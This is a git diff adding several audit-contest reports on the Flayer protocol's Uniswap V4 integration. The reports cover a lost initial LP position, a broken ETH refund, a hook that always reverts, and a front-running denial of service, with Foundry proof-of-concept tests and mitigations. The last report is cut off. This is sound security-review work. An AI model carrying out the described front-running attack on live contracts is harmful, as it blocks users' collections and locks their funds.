+Proof of Concept is difficult for this one because the issue is about missing functionality, not broken functionality. However, the following code demonstrates a user initializing a collection and thereby funding a liquidity pool. Given that no function exists to allow the user to withdraw via the implementation contract, I've used PoolModifyLiquidityTest to provide the functionality, showing that it does not work for the original depositor (because it was deposited with a different peripheral contract) but does work for someone who deposits and withdraws via the same contract.
+
+Please copy any paste `import {PoolModifyLiquidityTest} from '@uniswap/v4-core/src/test/PoolModifyLiquidityTest.sol';` to the top of Locker.t.sol, and the following test into the body of the file:
+
+```solidity
+ function test_InitializerLosesLiquidityProvided() public {
+
+ address depositoor = makeAddr("depositoor");
+ vm.startPrank(depositoor);
+
+ ERC721Mock astroidDogs = new ERC721Mock();
+ // Approve some of the ERC721Mock collections in our {Listings}
+ locker.createCollection(address(astroidDogs), 'Astroid Dogs', 'ADOG', 0);
+ address adog = address(locker.collectionToken(address(astroidDogs)));
+
+ // mint the depositor enough dogs and eth, approve locker to spend
+ uint[] memory tokenIds = new uint[](10);
+ for (uint i = 0; i < 10; ++i) {
+ astroidDogs.mint(depositoor, i);
+ tokenIds[i] = i;
+ astroidDogs.approve(address(locker), i);
+ }
+ deal(address(WETH), depositoor, 10e18);
+ WETH.approve(address(locker), 10e18);
+
+ // initialize collection
+ //slippage and squrtPrice //1:1
+ locker.initializeCollection(address(astroidDogs), 10e18, tokenIds, 1, 79228162514264337593543950336);
+
+ // there is no method to withdraw via locker or implementation
+ // does a peripheral contract let us do this?
+ // using poolModifyPosition as a helper
+
+ // peripheral contract to allow deposits and withdrawals
+ PoolModifyLiquidityTest poolModifyPosition = new PoolModifyLiquidityTest(poolManager);
+
+ PoolKey memory key = abi.decode(uniswapImplementation.getCollectionPoolKey(address(astroidDogs)), (PoolKey));
+ IPoolManager.ModifyLiquidityParams memory params = IPoolManager.ModifyLiquidityParams({
+ tickLower: TickMath.minUsableTick(key.tickSpacing),
+ tickUpper: TickMath.maxUsableTick(key.tickSpacing),
+ liquidityDelta: -100,
+ salt: ""
+ });
+
+ // the user who initiated it is unable to withdraw it with a different peripheral contract
+ // that's because the Implementation contract owns the liquidity
+ vm.expectRevert();
+ poolModifyPosition.modifyLiquidity(key, params, "");
+
+ // however, this peripheral contract would work for another user who deposits with it
+ address secondDepositor = makeAddr("second");
+ vm.startPrank(secondDepositor);
+
+ // deal and approve funds
+ deal(adog, secondDepositor, 1e18);
+ deal(address(WETH), secondDepositor, 1e18);
+ locker.collectionToken(address(astroidDogs)).approve(address(poolModifyPosition), 10e18);
+ WETH.approve(address(poolModifyPosition), 10e18);
+
+ // deposit and withdraw - no problem for this user
+ IPoolManager.ModifyLiquidityParams memory depositParams = IPoolManager.ModifyLiquidityParams({
+ tickLower: TickMath.minUsableTick(key.tickSpacing),
+ tickUpper: TickMath.maxUsableTick(key.tickSpacing),
+ liquidityDelta: 1e18,
+ salt: ""
+ });
+ poolModifyPosition.modifyLiquidity(key, depositParams, "");
+
+ IPoolManager.ModifyLiquidityParams memory withdrawParams = IPoolManager.ModifyLiquidityParams({
+ tickLower: TickMath.minUsableTick(key.tickSpacing),
+ tickUpper: TickMath.maxUsableTick(key.tickSpacing),
+ liquidityDelta: -1e18,
+ salt: ""
+ });
+ poolModifyPosition.modifyLiquidity(key, withdrawParams, "");
+ }
+```
+
+### Mitigation
+
+Consider the following changes to UniswapImplementation.sol -
+
+1. Store the user who initializes a collection in a mapping
+2. Change _unlockCallback() such that it doesn't cast liquidityDelta to a uint (must allow negative values for withdrawals)
+3. Add a remove liquidity function to Implementation.sol. It should check that only the initializer of a contract can call it and should call unlock() on the PoolManager, passing in the appropriate calldata to remove liquidity. It should then transfer funds received to the user.
+
+These changes will allow a user to access the liquidity he or she initially provided.
\ No newline at end of file
diff --git a/002/266.md b/002/266.md
new file mode 100644
index 0000000..43dec78
--- /dev/null
+++ b/002/266.md
@@ -0,0 +1,69 @@
+Precise Lava Starfish
+
+High
+
+# The initial liquidity provider will lose their position
+
+## Summary
+The initial liquidity provider will lose their position and they can not manage/remove their position.
+
+## Vulnerability Detail
+The initial liquidity provider can add the first liquidity via `initializeCollection`. The initial liquidity provider will transfer collection tokens and native tokens to implementation contract. Implementation contracts add the initial liquidity for the first LP.
+The problem is that Uniswap V4 pool manager will take the `implementation` contract as this position's owner. The first Lp cannot manage their position.
+
+The problem is that the
+```solidity
+ function _unlockCallback(bytes calldata _data) internal override returns (bytes memory) {
+ // Unpack our passed data
+ CallbackData memory params = abi.decode(_data, (CallbackData));
+ (BalanceDelta delta,) = poolManager.modifyLiquidity({
+ key: params.poolKey,
+ params: IPoolManager.ModifyLiquidityParams({
+ tickLower: MIN_USABLE_TICK,
+ tickUpper: MAX_USABLE_TICK,
+ liquidityDelta: int(uint(params.liquidityDelta)),
+ salt: ''
+ }),
+ hookData: ''
+ });
+ ...
+ }
+```
+```solidity
+Uniswap PoolManager -->
+ function modifyLiquidity(
+ PoolKey memory key,
+ IPoolManager.ModifyLiquidityParams memory params,
+ bytes calldata hookData
+ ) external onlyWhenUnlocked noDelegateCall returns (BalanceDelta callerDelta, BalanceDelta feesAccrued) {
+ PoolId id = key.toId();
+ Pool.State storage pool = _getPool(id);
+ pool.checkPoolInitialized();
+
+ key.hooks.beforeModifyLiquidity(key, params, hookData);
+
+ BalanceDelta principalDelta;
+ (principalDelta, feesAccrued) = pool.modifyLiquidity(
+ Pool.ModifyLiquidityParams({
+@> owner: msg.sender,
+ tickLower: params.tickLower,
+ tickUpper: params.tickUpper,
+ liquidityDelta: params.liquidityDelta.toInt128(),
+ tickSpacing: key.tickSpacing,
+ salt: params.salt
+ })
+ );
+
+```
+## Impact
+Uniswap V4 pool manager will take the `implementation` contract as this position's owner. The first Lp cannot manage their position. The first LP providers will lose all funds.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L376-L420
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+The first Lp should add liquidity themselves, and we can add some extra check logic in add liquidity hooks.
\ No newline at end of file
diff --git a/002/281.md b/002/281.md
new file mode 100644
index 0000000..d643a30
--- /dev/null
+++ b/002/281.md
@@ -0,0 +1,114 @@
+Mythical Gauze Lizard
+
+High
+
+# The user does not get the remaining funds back when executing `initializeCollection()` in `Locker.sol` due to incorrect implementation.
+
+### Summary
+
+The user calls [`initializeCollection()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367) of `Locker.sol` to initialize `collection`. This function implements the logic to return the remaining funds, but it does not work properly. As a result, the user does not get the remaining funds back.
+
+### Root Cause
+
+incorrect logic in `initializeCollection()` of `Locker.sol`
+
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+User sends more `nativeToken`s than needs.
+
+### Attack Path
+
+The user calls `initializeCollection()`. Now `startBalance` is 0. Then remaining fund is not transfered from `implementation` contract to `Locker` contract.
+So `nativeToken.balanceOf(address(this)` is also 0.
+
+### Impact
+
+The user does not get the remaining funds back when executing `initializeCollection()` in `Locker.sol` due to incorrect implementation.
+
+### PoC
+
+The user calls `initializeCollection()` of `Locker.sol` to initialize `collection`.
+```solidity
+ function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+ // Ensure the collection is not already initialised
+ if (collectionInitialized[_collection]) revert CollectionAlreadyInitialized();
+
+ // Ensure that the minimum threshold of collection tokens have been provided
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength < MINIMUM_TOKEN_IDS) revert InsufficientTokenIds();
+
+ // cache
+ IBaseImplementation _implementation = implementation;
+ IERC20 nativeToken = IERC20(_implementation.nativeToken());
+
+ // Convert the tokens into ERC20's which will return at a rate of 1:1
+ deposit(_collection, _tokenIds, address(_implementation));
+
+ // Send the native ETH equivalent token into the implementation
+@ uint startBalance = nativeToken.balanceOf(address(this));
+ nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+
+ // Make our internal call to our implementation
+ uint tokens = _tokenIdsLength * 1 ether * 10 ** _collectionToken[_collection].denomination();
+ _implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96);
+
+ // Map our collection as initialized
+ collectionInitialized[_collection] = true;
+ emit CollectionInitialized(_collection, _implementation.getCollectionPoolKey(_collection), _tokenIds, _sqrtPriceX96, msg.sender);
+
+ // Refund any unused relative token to the user
+@ nativeToken.transfer(
+@ msg.sender,
+@ startBalance - nativeToken.balanceOf(address(this))
+@ );
+ }
+```
+You can see the logic to return the remaining funds. But `startBalance` is always 0. Also `nativeToken.balanceOf(address(this)` is allways 0 because the `nativeToken` is not transferred from `_implementation` contract to this contract.
+```solidity
+ function initializeCollection(address _collection, uint _amount0, uint _amount1, uint _amount1Slippage, uint160 _sqrtPriceX96) public override {
+ // Ensure that only our {Locker} can call initialize
+ if (msg.sender != address(locker)) revert CallerIsNotLocker();
+
+ // Ensure that the PoolKey is not empty
+ PoolKey memory poolKey = _poolKeys[_collection];
+ if (poolKey.tickSpacing == 0) revert UnknownCollection();
+
+ // Initialise our pool
+ poolManager.initialize(poolKey, _sqrtPriceX96, '');
+
+ // After our contract is initialized, we mark our pool as initialized and emit
+ // our first state update to notify the UX of current prices, etc.
+ PoolId id = poolKey.toId();
+ _emitPoolStateUpdate(id);
+
+ // Load our pool parameters and update the initialized flag
+ PoolParams storage poolParams = _poolParams[id];
+ poolParams.initialized = true;
+
+ // Obtain the UV4 lock for the pool to pull in liquidity
+ poolManager.unlock(
+ abi.encode(CallbackData({
+ poolKey: poolKey,
+ liquidityDelta: LiquidityAmounts.getLiquidityForAmounts({
+ sqrtPriceX96: _sqrtPriceX96,
+ sqrtPriceAX96: TICK_SQRT_PRICEAX96,
+ sqrtPriceBX96: TICK_SQRT_PRICEBX96,
+ amount0: poolParams.currencyFlipped ? _amount1 : _amount0,
+ amount1: poolParams.currencyFlipped ? _amount0 : _amount1
+ }),
+ liquidityTokens: _amount1,
+ liquidityTokenSlippage: _amount1Slippage
+ })
+ ));
+ }
+```
+
+
+### Mitigation
+
+The function to return remaining funds must be added in accordance with the protocol.
\ No newline at end of file
diff --git a/002/293.md b/002/293.md
new file mode 100644
index 0000000..750569b
--- /dev/null
+++ b/002/293.md
@@ -0,0 +1,164 @@
+Melodic Pickle Goose
+
+High
+
+# UniswapImplementation's `beforeInitialize()` hook will always revert
+
+### Summary
+
+The **UniswapImplementation**'s `beforeInitialize()` hook will always revert, DOSing the Uniswap pool creation for any collection.
+
+
+### Root Cause
+
+Instead of returning `IHooks.beforeInitialize.selector`, the `beforeInitialize()` function in the **UniswapImplementation** contract will always revert:
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L453
+```solidity
+ function beforeInitialize(address /* sender */, PoolKey memory /* key */, uint160 /* sqrtPriceX96 */, bytes calldata /* hookData */) public view override onlyByPoolManager returns (bytes4) {
+→ revert CannotBeInitializedDirectly();
+ }
+```
+
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+No need for attack, the contract will itself cause an improper revert DOSing a major functionality around a collection in the protocol.
+
+
+### Impact
+
+The **UniswapImplementation** contract will **not** be able to create a Uniswap pool by itself and thus accumulated CollectionToken fees for a given collection will be stuck irretrievable in the contract indefinitely. The more collections on Flayer, the more CT tokens stuck, accumulating a huge amount of CT tokens that are worth something.
+
+### PoC
+
+Create a new file **TestBeforeInitialize.sol** under **flayer/src/contracts/implementation** and paste the following content inside:
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.22;
+
+import {BaseHook} from "@uniswap-periphery/base/hooks/BaseHook.sol";
+import {console} from 'forge-std/console.sol';
+
+import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
+import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
+import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
+import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
+
+contract TestBeforeInitialize is BaseHook {
+ address private manager;
+
+ constructor (address _poolManager) BaseHook(IPoolManager(_poolManager)) {
+ manager = msg.sender;
+ }
+
+ function beforeInitialize(
+ address /* sender */,
+ PoolKey memory /* key */,
+ uint160 /* sqrtPriceX96 */,
+ bytes calldata /* hookData */
+ ) public override onlyByPoolManager view returns (bytes4) {
+ revert CannotBeInitializedDirectly();
+ }
+
+ function afterInitialize(
+ address /* sender */,
+ PoolKey calldata /* key */,
+ uint160 /* sqrtPriceX96 */,
+ int24 /* tick */,
+ bytes calldata /* hookData */
+ ) external view override returns (bytes4) {
+ return IHooks.afterInitialize.selector;
+ }
+
+ function getHookPermissions() public pure override returns (Hooks.Permissions memory) {
+ return Hooks.Permissions({
+ beforeInitialize: true,
+ afterInitialize: true,
+ beforeAddLiquidity: true,
+ afterAddLiquidity: true,
+ beforeRemoveLiquidity: true,
+ afterRemoveLiquidity: true,
+ beforeSwap: true,
+ afterSwap: true,
+ beforeDonate: true,
+ afterDonate: true,
+ beforeSwapReturnDelta: true,
+ afterSwapReturnDelta: true,
+ afterAddLiquidityReturnDelta: true,
+ afterRemoveLiquidityReturnDelta: true
+ });
+ }
+
+ error CallerNotPoolManager();
+ error CannotBeInitializedDirectly();
+}
+```
+This is a minimal copy of the **UniswapImplementation** contract with identical `beforeInitialize()` hook.
+
+Now add the following test case to the **flayer/test/UniswapImplementation.t.sol** file:
+```solidity
+
+ function testCallingRevertingHookShouldRevert() public {
+ address payable ALL_HOOKS = payable(0x0000000000000000000000000000000000003fFF);
+
+ // Deploy our test contract to the address for which all hooks are enabled.
+ deployCodeTo("TestBeforeInitialize.sol", abi.encode(address(poolManager)), ALL_HOOKS);
+
+ PoolKey memory key =
+ PoolKey(Currency.wrap(address(1)), Currency.wrap(address(2)), 0, 60, IHooks(ALL_HOOKS));
+
+ // @audit Fails with "CannotBeInitializedDirectly()" when it should just return the
+ // `IHooks.beforeInitialize.selector` and continue.
+ vm.expectRevert();
+ poolManager.initialize(key, 4295128740, '');
+ }
+```
+And run it using `forge test --match-test testCallingRevertingHookShouldRevert`. The test will pass.
+
+```shell
+[⠊] Compiling...
+[⠆] Compiling 2 files with Solc 0.8.26
+[⠰] Solc 0.8.26 finished in 8.46s
+Compiler run successful with warnings:
+Warning (2018): Function state mutability can be restricted to pure
+ --> src/contracts/implementation/TestBeforeInitialize.sol:28:5:
+ |
+28 | function afterInitialize(
+ | ^ (Relevant source part starts here and spans across multiple lines).
+
+
+Ran 1 test for test/UniswapImplementation.t.sol:UniswapImplementationTest
+[PASS] testCallingRevertingHookShouldRevert() (gas: 44678)
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.99ms (546.33µs CPU time)
+
+Ran 1 test suite in 147.22ms (4.99ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
+
+If you replace the `revert` with `return IHooks.beforeInitialize.selector` in the `beforeInitialize()` function of **TestBeforeInitialize**, the `vm.expectRevert()` assertion will now start failing.
+
+
+### Mitigation
+
+```diff
+diff --git a/flayer/src/contracts/implementation/UniswapImplementation.sol b/flayer/src/contracts/implementation/UniswapImplementation.sol
+index c898b32..7afffde 100644
+--- a/flayer/src/contracts/implementation/UniswapImplementation.sol
++++ b/flayer/src/contracts/implementation/UniswapImplementation.sol
+@@ -450,7 +450,7 @@ contract UniswapImplementation is BaseImplementation, BaseHook {
+ * to call initialize, we want to prevent this from hitting.
+ */
+ function beforeInitialize(address /* sender */, PoolKey memory /* key */, uint160 /* sqrtPriceX96 */, bytes calldata /* hookData */) public view override onlyByPoolManager returns (bytes4) {
+- revert CannotBeInitializedDirectly();
++ return IHooks.beforeInitialize.selector;
+ }
+
+ /**
+```
diff --git a/002/321.md b/002/321.md
new file mode 100644
index 0000000..92d388a
--- /dev/null
+++ b/002/321.md
@@ -0,0 +1,84 @@
+Warm Daisy Tiger
+
+Medium
+
+# Fund stuck because fail to refund ETH when initializing collection
+
+## Summary
+Function `Locker#initializeCollection()` allows users to create a Univ4 `ETH - CollectionToken` pool and inject initial liquidity to the pool. The caller needs to pay ETH and Collection token (CT) to create the pool. However the unused eth is not refunded properly
+
+## Vulnerability Detail
+The caller needs to pay at least [`MINIMUM_TOKEN_IDS` collection token](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L372-L373) and [pay `_eth` amount of ETH](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L384) to create the Univ4 pool for `ETH - CollectionToken` and add initial liquidity to the pool.
+In case the [ETH amount used to add liquidity to the pool](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L393-L401) is lower than `_eth` amount transferred to the contract `UniswapImplementation`, then the unused amount is stuck in the contract because there is no slippage check for the ETH amount used (there is only slippage check for the Collection token used).
+Practically, the issue happens when [the total liquidity CT provided is lower than total liquidity ETH provided](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/lib/LiquidityAmounts.sol#L69-L72), or when single side CT liquidity is provided.
+
+### PoC
+Add this test to file `UniswapImplementation.t.sol`
+```solidity
+ function test_initPool() public {
+ ERC721Mock _collection = new ERC721Mock();
+ // This needs to avoid collision with other tests
+ uint tokenOffset = uint(type(uint128).max) + 1;
+
+ // Mint enough tokens to initialize successfully
+ uint tokenIdsLength = locker.MINIMUM_TOKEN_IDS();
+ uint[] memory _tokenIds = new uint[](tokenIdsLength);
+ for (uint i; i < tokenIdsLength; ++i) {
+ _tokenIds[i] = tokenOffset + i;
+ _collection.mint(address(this), tokenOffset + i);
+ }
+
+ // Approve our {Locker} to transfer the tokens
+ _collection.setApprovalForAll(address(locker), true);
+
+ // create CT
+ locker.createCollection(address(_collection), "A", "A", 0);
+
+ // init some ETH
+ _dealNativeToken(address(this), 50000000000000000 ether);
+ _approveNativeToken(address(this), address(locker), type(uint).max);
+
+ uint startBalance = WETH.balanceOf(address(this));
+ uint poolStartBalance = WETH.balanceOf(address(poolManager));
+ uint implementationStartBalance = WETH.balanceOf(address(uniswapImplementation));
+
+ // initialize collection use 0.001 ether
+ locker.initializeCollection(address(_collection), 0.001 ether, _tokenIds, type(uint).max, uint160(87150978765690771352898345369) / 10000);
+
+ uint endBalance = WETH.balanceOf(address(this));
+ uint poolEndBalance = WETH.balanceOf(address(poolManager));
+ uint implementationEndBalance = WETH.balanceOf(address(uniswapImplementation));
+
+ console.log("balance used %s", startBalance - endBalance);
+ console.log("PoolManager balance added %s", poolEndBalance - poolStartBalance);
+ console.log("stuck eth %s", implementationEndBalance - implementationStartBalance);
+ }
+```
+
+Run the test and console shows:
+```bash
+Ran 1 test for test/UniswapImplementation.t.sol:UniswapImplementationTest
+[PASS] test_initPool() (gas: 3544059)
+Logs:
+ balance used 1000000000000000
+ PoolManager balance added 121000000000
+ stuck eth 999879000000000
+```
+
+## Impact
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L372-L373
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L384
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L393-L401
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/lib/LiquidityAmounts.sol#L69-L72
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Update the refund logic in function `Locker#initializeCollection()`
\ No newline at end of file
diff --git a/002/342.md b/002/342.md
new file mode 100644
index 0000000..a47f3f3
--- /dev/null
+++ b/002/342.md
@@ -0,0 +1,233 @@
+Melodic Pickle Goose
+
+High
+
+# Locker's `initializeCollection()` can be DOSed by deploying the Uniswap pool in advance for the same pool key
+
+### Summary
+
+Because the **UniswapImplementation** contract's `initializeCollection()` function is not idempotent with regards to the initialization of the Uniswap pool it can easily be DOSed by deploying the Uniswap pool separately before Flayer deploys it and thus prevent the hook-up between the Flayer collection and the Uniswap pool for it. Which itself will generally break a lot of the interactions with the collection in Flayer, primarily the creation of listings for NFTs of that collection and the execution of the hooks themselves.
+
+### Root Cause
+
+In order to initialize a Uniswap pool for a CollectionToken, the collection must first be registered at which point the PoolKey for that collection pool will be known:
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L161-L187
+```solidity
+ function registerCollection(address _collection, ICollectionToken _collectionToken) public override {
+ // Ensure that only our {Locker} can call register
+ if (msg.sender != address(locker)) revert CallerIsNotLocker();
+
+ // Check if our pool currency is flipped
+ bool currencyFlipped = nativeToken > address(_collectionToken);
+
+ // Create our Uniswap pool and store the pool key
+→ PoolKey memory poolKey = PoolKey({
+ currency0: Currency.wrap(!currencyFlipped ? nativeToken : address(_collectionToken)),
+ currency1: Currency.wrap(currencyFlipped ? nativeToken : address(_collectionToken)),
+ fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
+ tickSpacing: POOL_TICK_SPACING,
+ hooks: IHooks(address(this))
+ });
+
+ // Store our {PoolKey} mapping against the collection
+ _poolKeys[_collection] = poolKey;
+
+ // Store our pool parameters
+ _poolParams[poolKey.toId()] = PoolParams({
+ collection: _collection,
+ poolFee: 0,
+ initialized: false,
+ currencyFlipped: currencyFlipped
+ });
+ }
+```
+
+An attacker can then use this to front-run the call to `initializeCollection()` by calling Uniswap's **PoolManager** directly to initialize the pool themselves with the exact same PoolKey. After this, calls to **Locker**#`initializeCollection()` will revert on Uniswap's side because the pool has already been initialized (`sqrtPriceX96` in `slot0` is **not** 0) and will prevent Flayer from being able to hook up with the pool.
+
+https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/PoolManager.sol#L115-L144
+```solidity
+ function initialize(PoolKey memory key, uint160 sqrtPriceX96, bytes calldata hookData)
+ external
+ noDelegateCall
+ returns (int24 tick)
+ {
+ // ... omitted for brewity
+
+ PoolId id = key.toId();
+ uint24 protocolFee = _fetchProtocolFee(key);
+
+→ tick = _pools[id].initialize(sqrtPriceX96, protocolFee, lpFee);
+
+ // ...
+ }
+```
+
+https://github.com/Uniswap/v4-core/blob/main/src/libraries/Pool.sol#L97-L107
+```solidity
+ function initialize(State storage self, uint160 sqrtPriceX96, uint24 protocolFee, uint24 lpFee)
+ internal
+ returns (int24 tick)
+ {
+→ if (self.slot0.sqrtPriceX96() != 0) PoolAlreadyInitialized.selector.revertWith();
+
+ tick = TickMath.getTickAtSqrtPrice(sqrtPriceX96);
+
+ self.slot0 = Slot0.wrap(bytes32(0)).setSqrtPriceX96(sqrtPriceX96).setTick(tick).setProtocolFee(protocolFee)
+ .setLpFee(lpFee);
+ }
+```
+(As we can see when the pool is initialized, `sqrtPriceX96` is set in `slot0` and consecutive calls will fail because of the check on L101).
+
+This is possible because the creation of a collection token and the Uniswap pool initialization are not happening in a single TX. It is the only variable in the PoolKey that an attacker needs to know in order to initialize the Uniswap pool and also possible because after a collection is created in Flayer it's not immediately initialized (only registered).
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L299-L330
+```solidity
+ function createCollection(address _collection, string calldata _name, string calldata _symbol, uint _denomination) public whenNotPaused returns (address) {
+ // Ensure that our denomination is a valid value
+ if (_denomination > MAX_TOKEN_DENOMINATION) revert InvalidDenomination();
+
+ // Ensure the collection does not already have a listing token
+ if (address(_collectionToken[_collection]) != address(0)) revert CollectionAlreadyExists();
+
+ // Validate if a contract does not appear to be a valid ERC721
+ if (!IERC721(_collection).supportsInterface(0x80ac58cd)) revert InvalidERC721();
+
+ // Deploy our new ERC20 token using Clone. We use the impending ID
+ // to clone in a deterministic fashion.
+ ICollectionToken collectionToken_ = ICollectionToken(
+ LibClone.cloneDeterministic(tokenImplementation, bytes32(_collectionCount))
+ );
+ _collectionToken[_collection] = collectionToken_;
+
+ // Initialise the token with variables
+ collectionToken_.initialize(_name, _symbol, _denomination);
+
+ // Registers our collection against our implementation
+ implementation.registerCollection({
+ _collection: _collection,
+ _collectionToken: collectionToken_
+ });
+
+ // Increment our vault counter
+ unchecked { ++_collectionCount; }
+
+ emit CollectionCreated(_collection, address(collectionToken_), _name, _symbol, _denomination, msg.sender);
+ return address(collectionToken_);
+ }
+```
+
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+1. Attacker comes in and calls **Locker**#`createCollection()` for whichever collection address they'd like.
+2. The collection is registered in the **Locker** and in the **UniswapImplementation** contract but the Uniswap pool for it is **NOT** yet initialized.
+3. In the same transaction (or whenever they like but before anyone calls **UniswapImplementation**#`initializeCollection()`) the Attacker calls Uniswap's **PoolManager**#`initialize` for the already known PoolKey for the collection in question.
+4. From this point on, calls to **Locker**#`initializeCollection()` will fail because of a check on Uniswap's side that ensures the pool's `sqrtPriceX96` in `slot0` is zero and reverts if its **not**. The collection will be impossible to be marked as initialized in the Locker's `collectionInitialized` mapping, DOSing a handful of functionalities for the collection in Flayer.
+
+
+### Impact
+
+As the **Locker**#`createCollection()` method is **NOT** permissioned, anybody can come in and create a collection in Flayer for any NFT collection and right after that initialize externally a Uniswap pool for it in the same transaction. As a result it will **NOT** be possible to interact with that collection in Flayer since there are checks if the collection is initialized in the **Locker** when creating either a regular listing or a protected listing.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130-L166
+```solidity
+ function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+ // Loop variables
+ uint taxRequired;
+ uint tokensIdsLength;
+ uint tokensReceived;
+
+ // Loop over the unique listing structures
+ for (uint i; i < _createListings.length; ++i) {
+ // Store our listing for cheaper access
+ CreateListing calldata listing = _createListings[i];
+
+ // Ensure our listing will be valid
+→ _validateCreateListing(listing);
+
+ // ...
+ }
+ }
+```
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L262-L293
+```solidity
+ function _validateCreateListing(CreateListing calldata _listing) private view {
+ // Ensure that our collection exists and is initialised
+→ if (!locker.collectionInitialized(_listing.collection)) revert CollectionNotInitialized();
+
+ // ...
+ }
+```
+
+The same stands true for the **ProtectedListings** contract and the creation of listings there:
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117-L156
+```solidity
+ function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+ // Loop variables
+ uint checkpointIndex;
+ bytes32 checkpointKey;
+ uint tokensIdsLength;
+ uint tokensReceived;
+
+ // Loop over the unique listing structures
+ for (uint i; i < _createListings.length; ++i) {
+ // Store our listing for cheaper access
+ CreateListing calldata listing = _createListings[i];
+
+ // Ensure our listing will be valid
+→ _validateCreateListing(listing);
+
+ // ...
+ }
+ }
+```
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L218-L231
+```solidity
+ function _validateCreateListing(CreateListing calldata _listing) internal view {
+ // Ensure that our collection exists and is initialised
+→ if (!locker.collectionInitialized(_listing.collection)) revert CollectionNotInitialized();
+
+ // ...
+ }
+```
+
+Also, **UniswapImplementation**#`_distributeFees()` will return early and will not be donating the fees to the Uniswap pool (even though such fees will be impossible to accumulate due to the inability to create any type of listings for that collection), however the impact is there caused by the reverting `initializeCollection()` call that marks the pool as initialized in the **UniswapImplementation** contract as well.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L308-L365
+```solidity
+ function _distributeFees(PoolKey memory _poolKey) internal {
+ // If the pool is not initialized, we prevent this from raising an exception and bricking hooks
+ PoolId poolId = _poolKey.toId();
+ PoolParams memory poolParams = _poolParams[poolId];
+
+→ if (!poolParams.initialized) {
+ return;
+ }
+
+ // ...
+ }
+```
+
+This itself will affect the `afterSwap`, `beforeRemoveLiquidity` and `beforeAddLiquidity` hooks for that collection's pool as they are the only callers of the `_distributeFees()` method.
+
+
+### PoC
+
+See **Attack Path**.
+
+
+### Mitigation
+
+Wrap the call to Uniswap's **PoolManager** in a `try-catch` block so it's idempotent and doesn't revert if a Uniswap pool is already deployed for that CollectionToken and `nativeToken` pair (and fee, tick spacing and hook contract address).
diff --git a/002/368.md b/002/368.md
new file mode 100644
index 0000000..65f95a8
--- /dev/null
+++ b/002/368.md
@@ -0,0 +1,91 @@
+Soft Violet Lion
+
+Medium
+
+# PoolManager.initialize can revert because the beforeInitialize function revert
+
+
+
+## Summary
+
+In UnitswapImplementation.sol, it is mean to support and integrate with Uniswap V4 hook logic,
+
+```solidity
+ function getHookPermissions() public pure override returns (Hooks.Permissions memory) {
+ return Hooks.Permissions({
+ beforeInitialize: true,
+ afterInitialize: false,
+ beforeAddLiquidity: true,
+ afterAddLiquidity: true,
+ beforeRemoveLiquidity: true,
+ afterRemoveLiquidity: true,
+ beforeSwap: true,
+ afterSwap: true,
+ beforeDonate: false,
+ afterDonate: false,
+ beforeSwapReturnDelta: true,
+ afterSwapReturnDelta: true,
+ afterAddLiquidityReturnDelta: false,
+ afterRemoveLiquidityReturnDelta: false
+ });
+ }
+
+ /**
+ * We have some requirements for our initialization call, so if an external party tries
